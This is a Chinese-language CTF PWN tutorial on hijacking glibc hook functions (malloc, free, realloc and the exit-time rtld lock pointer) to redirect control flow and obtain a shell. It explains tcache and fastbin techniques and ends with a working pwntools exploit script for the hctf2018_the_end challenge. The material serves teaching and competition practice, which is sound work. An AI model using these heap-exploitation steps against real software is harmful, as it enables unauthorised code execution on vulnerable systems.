[CTF-PWN] Hook函数劫持
字数 1689 2025-08-09 17:09:29
Hook函数劫持技术详解
1. 概述
Hook函数劫持是CTF PWN题中常用的getshell手段,通过劫持程序中的各种hook函数来改变程序控制流。本文将详细介绍几种常见的hook劫持技术。
2. 动态内存管理家族的hook函数
GNU C允许开发者修改malloc、realloc和free的hook函数以修改它们的功能,本意是帮助开发者debug,但也为攻击者提供了便利。
2.1 基本机制
malloc运行时,如果malloc_hook值不为0,程序会先执行malloc_hook所指向的函数- 类似机制也适用于
free_hook和realloc_hook
2.2 定位方法
在gdb中可以使用以下命令定位hook函数地址:
p &__free_hook
p &__malloc_hook
2.3 利用技术
2.3.1 tcache attack劫持
- 劫持这些hook时没有验证需要绕过
- 直接将next指针覆盖为
&malloc_hook即可(next指针指向chunk的user空间)
2.3.2 fastbin attack劫持
利用fastbin attack劫持这些Hook函数时需要绕过对于chunk头的验证:
-
劫持
malloc_hook:- 将fd改为
&malloc_hook-0x23(此处值为0x71)可绕过验证
- 将fd改为
-
&free_hook上方都是0字节,无法直接通过fastbin attack劫持
2.3.3 system("/bin/sh")利用
可以将free_hook劫持到system,再free一个内容为/bin/sh\x00的chunk,即可调用system("/bin/sh")
3. 栈调整以使用one_gadget
当one_gadget因环境原因全部不可用时,可以通过realloc_hook来调整堆栈环境使one gadget可用。
3.1 原理
realloc函数在起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向的函数realloc_hook与malloc_hook相邻,可通过fastbin attack等一次性修改两个值
3.2 具体利用方法
- 将
realloc_hook设置为one gadget - 将
malloc_hook设置为realloc函数开头某个push寄存器的指令处- push和pop次数一致,减少push次数会压低堆栈,改变栈环境
- 具体偏移可通过尝试或脚本爆破确定
4. exit hook (__rtld_lock_unlock_recursive)劫持
可以通过更改指向rtld_lock_unlock_recursive(或rtld_lock_lock_recursive)函数的指针,在程序退出时劫持控制流。
4.1 定位方法
-
在gdb中执行:
p rtld_lock_default_unlock_recursive得到地址a
-
然后执行:
search -8 a得到指向该地址的地址
-
注意该函数实际上在ld中,计算偏移时需要考虑这一点
4.2 利用示例(hctf2018_the_end)
题目特点:
- libc直接给出
- 提供五次一字节任意地址写
利用步骤:
- 泄露libc基址
- 计算
rtld_lock_unlock_recursive指针地址 - 通过五次一字节写将one gadget写入该指针
示例代码:
from pwn import *
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'r':
target = remote("node4.buuoj.cn",port)
else:
target=process("./the_end",env={"LD_PRELOAD":"./libc-2.27.so"})
if (len(sys.argv)>1) and sys.argv[1]=='g':
gdb.attach(target)
context.log_level='debug'
libc = ELF("./libc-2.27.so")
def pwn():
#get libc
target.recvuntil("gift ")
sleep_libc = int(target.recvuntil(",",drop=True),16)
libc_base = sleep_libc - libc.sym["sleep"]
success("libc leaked: "+hex(libc_base))
rtld_recur = libc_base+0x619f68
success("rtld_recur: "+hex(rtld_recur))
ogList = [0x4f2c5,0x4f322,0x10a38c]
og= libc_base + ogList[1]
target.recvuntil(";)\n")
# hijack
for i in range(5):
target.send(p64(rtld_recur+i))
target.send(p64(og)[i])
target.interactive()
pwn()
5. 关键点总结
- hook函数定位:熟练掌握gdb中定位hook函数地址的方法
- 劫持技术选择:
- tcache attack最简单,无需绕过验证
- fastbin attack需要构造合适的fake chunk
- one_gadget适应:当直接使用one_gadget失败时,考虑通过
realloc_hook调整栈环境 - exit劫持:在有限写入条件下(如一字节写),
rtld_lock_unlock_recursive是理想目标 - 动态调试:实际利用中需要通过动态调试确定具体偏移和地址
通过熟练掌握这些hook劫持技术,可以在CTF PWN题中灵活应对各种限制条件,实现控制流劫持。